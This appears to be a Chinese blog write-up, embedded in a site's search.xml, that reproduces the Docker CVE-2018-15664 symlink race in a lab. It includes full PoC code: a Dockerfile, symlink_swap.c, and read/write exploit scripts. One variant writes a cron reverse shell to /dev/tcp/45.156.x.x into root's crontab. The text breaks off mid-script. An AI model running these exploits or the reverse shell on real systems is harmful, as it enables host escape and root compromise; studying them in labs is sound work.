-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
1165 lines (560 loc) · 927 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>5.CVE-2018-15664-符号连接替换漏洞</title>
<link href="/2022/01/19/%E4%BA%91%E5%8E%9F%E7%94%9F%E5%AE%89%E5%85%A8/5.CVE-2018-15664-%E7%AC%A6%E5%8F%B7%E8%BF%9E%E6%8E%A5%E6%9B%BF%E6%8D%A2%E6%BC%8F%E6%B4%9E/"/>
<url>/2022/01/19/%E4%BA%91%E5%8E%9F%E7%94%9F%E5%AE%89%E5%85%A8/5.CVE-2018-15664-%E7%AC%A6%E5%8F%B7%E8%BF%9E%E6%8E%A5%E6%9B%BF%E6%8D%A2%E6%BC%8F%E6%B4%9E/</url>
<content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>在18.06.1-ce-rc2版本之前的Docker中,docker cp命令对应的后端API存在基于竞争的符号链接替换漏洞,能够导致目录穿越。攻击者可以利用此漏洞以root权限实现宿主机文件系统的任意读写,CVSS 3.x评分为7.5分。</p><h2 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h2><p>CVE-2018-15664是一个TOCTOU(time-of-check to time-of-use)问题,属于竟态条件漏洞。</p><p>这个问题指的是对象进行安全检查和使用该对象的步骤之间存在间隙,<strong>攻击者可以先构造并放置一个能够通过安全检查的合法对象,顺利通过目标程序的安全检查流程,然后立即使用恶意对象替换之前的合法对象</strong>。这样一来,目标程序真正使用的实际上是被替换后的恶意对象。</p><p><img src="1.png" alt="1"></p><p> 漏洞原理流程图</p><p>攻击首先利用合法文件进行合法校验,正常文件校验通过之后再把合法文件替换为恶意文件。达到恶意利用的目的。以上就是TOCTOU问题的原理。这个问题看起来很抽象,他在实际的攻防中如何实现呢?</p><p>对于CVE-2018-15664来说,当用户执行<code>docker cp</code>命令后,Docker守护进程收到这个请求,就会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,留待后用。</p><p>一眼看上去,该流程似乎很正常,但要考虑到容器内部环境不可控。如果Docker守护进程检查复制路径时,<strong>攻击者先在这里放置一个非符号链接的常规文件或目录(提供合法文件/xxx),检查结束后,攻击者赶在Docker守护进程使用这个路径前将其替换为一个符号链接(替换为/yyy恶意文件),那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越</strong>。</p><h2 id="环境安装"><a href="#环境安装" class="headerlink" title="环境安装"></a>环境安装</h2><p>使用<a href="https://github.com/Metarget/metarget/">metarget</a>进行安装</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo ./metarget cnv install cve-2018-15664</span><br></pre></td></tr></table></figure><p>此时安装了具有cve-2018-15664漏洞的docker版本。复现该漏洞还需要启动一些docker镜像来进行验证。</p><p>《云原生安全-攻防实践与体系构建》一书的配套靶场</p><p>Poc:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">02-CVE-2018-15664/</span><br><span class="line">└── symlink_race</span><br><span class="line"> ├── build</span><br><span class="line"> │ ├── Dockerfile</span><br><span class="line"> │ └── symlink_swap.c</span><br><span class="line"> ├── run_read.sh</span><br><span class="line"> └── run_write.sh</span><br></pre></td></tr></table></figure><h2 id="Poc"><a href="#Poc" class="headerlink" title="Poc"></a>Poc</h2><h3 id="Dockerfile"><a href="#Dockerfile" class="headerlink" title="Dockerfile"></a>Dockerfile</h3><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 基于opensuse/leap进行构造</span></span><br><span class="line"><span class="keyword">FROM</span> opensuse/leap</span><br><span class="line"><span class="comment"># 安装gcc</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> zypper <span class="keyword">in</span> -y gcc glibc-devel-static</span></span><br><span class="line"><span class="comment"># 创建/builddir目录</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> mkdir /builddir</span></span><br><span class="line"><span class="comment"># 将宿主机的symlink_swap.c复制到容器的/builddir/symlink_swap.c</span></span><br><span class="line"><span class="keyword">COPY</span><span class="bash"> symlink_swap.c /builddir/symlink_swap.c</span></span><br><span class="line"><span class="comment"># 编译symlink_swap.c 为 symlink_swap</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Set up our malicious rootfs.</span></span><br><span class="line"><span class="keyword">FROM</span> opensuse/leap</span><br><span class="line"><span class="comment"># ARG 构建参数,作用与ENV一致。不过作用域不一样,ARG只在Docker build过程中有效,生成的镜像内不存在此环境变量</span></span><br><span class="line"><span class="keyword">ARG</span> SYMSWAP_TARGET=/w00t_w00t_im_a_flag</span><br><span class="line"><span class="keyword">ARG</span> SYMSWAP_PATH=/totally_safe_path</span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> <span class="built_in">echo</span> <span class="string">"FAILED -- INSIDE CONTAINER PATH"</span> ><span class="string">"<span class="variable">$SYMSWAP_TARGET</span>"</span></span></span><br><span class="line"><span class="comment"># --from=0 把前一阶段构建的产物拷贝到当前镜像中</span></span><br><span class="line"><span class="keyword">COPY</span><span class="bash"> --from=0 /builddir/symlink_swap /symlink_swap</span></span><br><span class="line"><span class="comment"># 类似CMD命令。在执行docker run时可以指定ENTRYPOINT 运行所需要的参数</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="bash"> [<span class="string">"/symlink_swap"</span>]</span></span><br></pre></td></tr></table></figure><p>这个Dockerfile使用了多个from。</p><p>多个FROM指令并不是为了生成多根的层关系,最后生成的镜像,仍以最后一条FROM为准。</p><p>每一条FROM指令都是一个构建阶段,多条FROM就是多阶段构建,虽然最后生成的镜像只能是最后一个阶段的结果,但是能够将前置阶段中的文件拷贝到后边的阶段,这就是多阶段构建的最大意义。</p><p>参考:<a href="https://segmentfault.com/a/1190000016137548">https://segmentfault.com/a/1190000016137548</a></p><p>所以这里的第一个FROM主要为了编译symlink_swap。</p><h3 id="symlink-swap-c"><a href="#symlink-swap-c" class="headerlink" title="symlink_swap.c"></a>symlink_swap.c</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/stat.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/syscall.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> usage() \</span></span><br><span class="line"><span class="meta">do { printf(<span class="meta-string">"usage: symlink_swap <symlink>\n"</span>); exit(1); } while(0)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> bail(msg) \</span></span><br><span class="line"><span class="meta">do { perror(<span class="meta-string">"symlink_swap: "</span> msg); exit(1); } while (0)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* No glibc wrapper for this, so wrap it ourselves. */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> RENAME_EXCHANGE (1 << 1)</span></span><br><span class="line"><span class="comment">/*int renameat2(int olddirfd, const char *oldpath,</span></span><br><span class="line"><span class="comment"> int newdirfd, const char *newpath, int flags)</span></span><br><span class="line"><span class="comment">{</span></span><br><span class="line"><span class="comment">return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);</span></span><br><span class="line"><span class="comment">}*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* usage: symlink_swap <symlink> */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="comment">// 命令行参数个数不等于2</span></span><br><span class="line"><span class="keyword">if</span> (argc != <span class="number">2</span>)</span><br><span class="line">usage();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 符号链接等于第一个参数</span></span><br><span class="line"><span class="keyword">char</span> *symlink_path = argv[<span class="number">1</span>];</span><br><span class="line"><span class="comment">//存储路径</span></span><br><span class="line"><span class="keyword">char</span> *stash_path = <span class="literal">NULL</span>;</span><br><span class="line"><span class="comment">//存储路径不存在则bail("create stash_path")</span></span><br><span class="line"><span class="keyword">if</span> (asprintf(&stash_path, <span class="string">"%s-stashed"</span>, symlink_path) < <span class="number">0</span>)</span><br><span class="line">bail(<span class="string">"create stash_path"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Create a dummy file at symlink_path. */</span></span><br><span class="line"><span class="comment">// 在symlink_path 创建一个虚拟文件</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">sb</span> =</span> {<span class="number">0</span>};</span><br><span class="line"><span class="keyword">if</span> (!lstat(symlink_path, &sb)) {</span><br><span class="line"><span class="keyword">int</span> err;</span><br><span class="line"><span class="keyword">if</span> (sb.st_mode & S_IFDIR)</span><br><span class="line">err = rmdir(symlink_path);</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">err = unlink(symlink_path);</span><br><span class="line"><span class="keyword">if</span> (err < <span class="number">0</span>)</span><br><span class="line">bail(<span class="string">"unlink symlink_path"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Now create a symlink to "/" (which will resolve to the host's root if we</span></span><br><span class="line"><span class="comment"> * win the race) and a dummy directory at stash_path for us to swap with.</span></span><br><span class="line"><span class="comment"> * We use a directory to remove the possibility of ENOTDIR which reduces</span></span><br><span class="line"><span class="comment"> * the chance of us winning.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 现在创建一个指向 "/" 的符号链接(如果我们赢得比赛,它将解析到主机的根目录)和一个 stash_path 的虚拟目录供我们交换。</span></span><br><span class="line"><span class="comment"> 我们使用目录来消除 ENOTDIR 的可能性,这会降低我们获胜的机会。</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">if</span> (symlink(<span class="string">"/"</span>, symlink_path) < <span class="number">0</span>)</span><br><span class="line">bail(<span class="string">"create symlink_path"</span>);</span><br><span class="line"><span class="keyword">if</span> (mkdir(stash_path, <span class="number">0755</span>) < <span class="number">0</span>)</span><br><span class="line">bail(<span class="string">"mkdir stash_path"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Now we do a RENAME_EXCHANGE forever. */</span></span><br><span class="line"><span class="comment">// 不断重命名</span></span><br><span class="line"><span class="keyword">for</span> (;;) {</span><br><span class="line"><span class="keyword">int</span> err = renameat2(AT_FDCWD, symlink_path,</span><br><span class="line"> AT_FDCWD, stash_path, RENAME_EXCHANGE);</span><br><span class="line"><span class="keyword">if</span> (err < <span class="number">0</span>)</span><br><span class="line">perror(<span class="string">"symlink_swap: rename exchange failed"</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>symlink_swap.c的任务是在容器内创建指向根目录<code>/</code>的符号链接,并不断地交换符号链接(由命令行参数传入,如<code>/totally_safe_path</code>)与一个正常目录(例如<code>/totally_safe_path-stashed</code>)的名字。</p><p>这样一来,在宿主机上执行docker cp时,如果首先检查到<code>/totally_safe_path</code>是一个正常目录,但在后面执行复制操作时<code>/totally_safe_path</code>却变成了一个符号链接(需要读取/写入如的文件链接),那么Docker将在宿主机上解析这个符号链接。</p><h3 id="run-write-sh"><a href="#run-write-sh" class="headerlink" title="run_write.sh"></a>run_write.sh</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/zsh</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 需要此处需要注意,在linux执行的话,需要修改为<span class="comment">#!/bin/bash</span></span></span><br><span class="line"></span><br><span class="line">SYMSWAP_PATH=/totally_safe_path</span><br><span class="line">SYMSWAP_TARGET=/w00t_w00t_im_a_flag</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Create our flag.</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 创建flag 到/w00t_w00t_im_a_flag文件</span></span><br><span class="line">echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"</span><br><span class="line"><span class="meta">#</span><span class="bash"> 添加权限</span></span><br><span class="line">sudo chmod 0444 "$SYMSWAP_TARGET"</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Run and build the malicious image.</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 运行并构建恶意镜像</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> --tag, -t: 镜像的名字及标签,通常 name:tag 或者 name 格式;可以在一次构建中为一个镜像设置多个标签。</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> --rm :设置镜像成功后删除中间容器;</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> -d 后台运行</span></span><br><span class="line">docker build -t cyphar/symlink_swap \</span><br><span class="line">--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \</span><br><span class="line">--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/</span><br><span class="line"><span class="meta">#</span><span class="bash"></span></span><br><span class="line"><span class="bash">ctr_id=$(docker run --rm -d cyphar/symlink_swap <span class="string">"<span class="variable">$SYMSWAP_PATH</span>"</span>)</span></span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 输出内容到当前目录的localpath文件</span></span><br><span class="line">echo "SUCCESS -- HOST FILE CHANGED" | tee localpath</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Now continually try to copy the files.</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 拷贝文件,尝试触发漏洞</span></span><br><span class="line">while true</span><br><span class="line">do</span><br><span class="line"><span class="meta">#</span><span class="bash"> 从宿主机拷贝文件到容器</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 触发条件竞争即可拷贝localpath到宿主机的<span class="variable">$SYMSWAP_TARGET</span>。达到低权限任意文件写的提权目的</span></span><br><span class="line">docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"</span><br><span class="line">done</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>直接执行run_write.sh。</p><p>会在创建内容为<code>FAILED -- HOST FILE UNCHANGED</code>的/w00t_w00t_im_a_flag文件,权限为0444<code>-r--r--r--</code>只读。</p><p>最后执行<code>docker cp</code>命令触发漏洞将localpath内容(SUCCESS – HOST FILE CHANGED)覆盖到/w00t_w00t_im_a_flag。达到低权限任意写文件的目的。</p><p><img src="2.png" alt="2"></p><h5 id="可能的攻击场景:"><a href="#可能的攻击场景:" class="headerlink" title="可能的攻击场景:"></a>可能的攻击场景:</h5><p>用户获取一个低权限账号,但是这个权限能够操控docker的(其实利用正如作者所说利用特权容器更加简单容易)。</p><p>利用这个方式可向宿主机任意目录写入文件。通过写反弹shell到定时任务目录,写ssh私钥覆盖等方式能达到提权的目的。</p><p>简单尝试了一下向ubuntu的定时任务写shell。</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Build the binary.</span></span><br><span class="line"><span class="keyword">FROM</span> opensuse/leap</span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> zypper <span class="keyword">in</span> -y gcc glibc-devel-static</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> mkdir /builddir</span></span><br><span class="line"><span class="keyword">COPY</span><span class="bash"> symlink_swap.c /builddir/symlink_swap.c</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Set up our malicious rootfs.</span></span><br><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">18.04</span></span><br><span class="line"><span class="comment"># 需要操纵的宿主机路径</span></span><br><span class="line"><span class="keyword">ARG</span> SYMSWAP_PATH=/var/spool/cron/crontabs</span><br><span class="line"><span class="keyword">ARG</span> SYMSWAP_TARGET=/root</span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> apt-get update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> apt-get install cron</span></span><br><span class="line"><span class="comment"># RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"</span></span><br><span class="line"><span class="keyword">COPY</span><span class="bash"> --from=0 /builddir/symlink_swap /symlink_swap</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="bash"> [<span class="string">"/symlink_swap"</span>]</span></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line"></span><br><span class="line">SYMSWAP_PATH=/totally_safe_path</span><br><span class="line">SYMSWAP_TARGET=/var/spool/cron/crontabs/root</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Run and build the malicious image.</span></span><br><span class="line">docker build -t cyphar/symlink_swap \</span><br><span class="line">--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \</span><br><span class="line">--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/</span><br><span class="line"></span><br><span class="line">ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 定时任务shell</span></span><br><span class="line">echo "*/1 * * * * bash -c 'bash -i >& /dev/tcp/45.156.x.x/2334 0>&1' > /home/ubuntu/test.txt" | tee localpath</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 拷贝文件,尝试触发漏洞</span></span><br><span class="line">while true</span><br><span class="line">do</span><br><span class="line"><span class="meta">#</span><span class="bash"> 从宿主机拷贝文件到容器</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 触发条件竞争即可拷贝localpath到宿主机的<span class="variable">$SYMSWAP_TARGET</span>。达到低权限任意文件写的提权目的</span></span><br><span class="line">docker cp localpath "${ctr_id}:$SYMSWAP_PATH$SYMSWAP_TARGET"</span><br><span class="line">done</span><br></pre></td></tr></table></figure><p>最后也没有尝试成功。有复现出来的大佬可以给留言评论探讨一下。</p><h3 id="run-read-sh"><a href="#run-read-sh" class="headerlink" title="run_read.sh"></a>run_read.sh</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">SYMSWAP_PATH=/totally_safe_path</span><br><span class="line">SYMSWAP_TARGET=/w00t_w00t_im_a_flag</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Create our flag.</span></span><br><span class="line">echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"</span><br><span class="line">sudo chmod 000 "$SYMSWAP_TARGET"</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Run and build the malicious image.</span></span><br><span class="line">docker build -t cyphar/symlink_swap \</span><br><span class="line">--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \</span><br><span class="line">--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/</span><br><span class="line">ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Now continually try to copy the files.</span></span><br><span class="line">idx=0</span><br><span class="line">while true</span><br><span class="line">do</span><br><span class="line">mkdir "ex${idx}"</span><br><span class="line"><span class="meta">#</span><span class="bash"> 拷贝容器的文件到宿主机</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 这里触发条件竞争即可拷贝任意宿主机文件到ex<span class="variable">${idx)/out。达到低权限任意读取宿主机文件的提权目的</span></span></span><br><span class="line">docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"</span><br><span class="line">idx=$(($idx + 1))</span><br><span 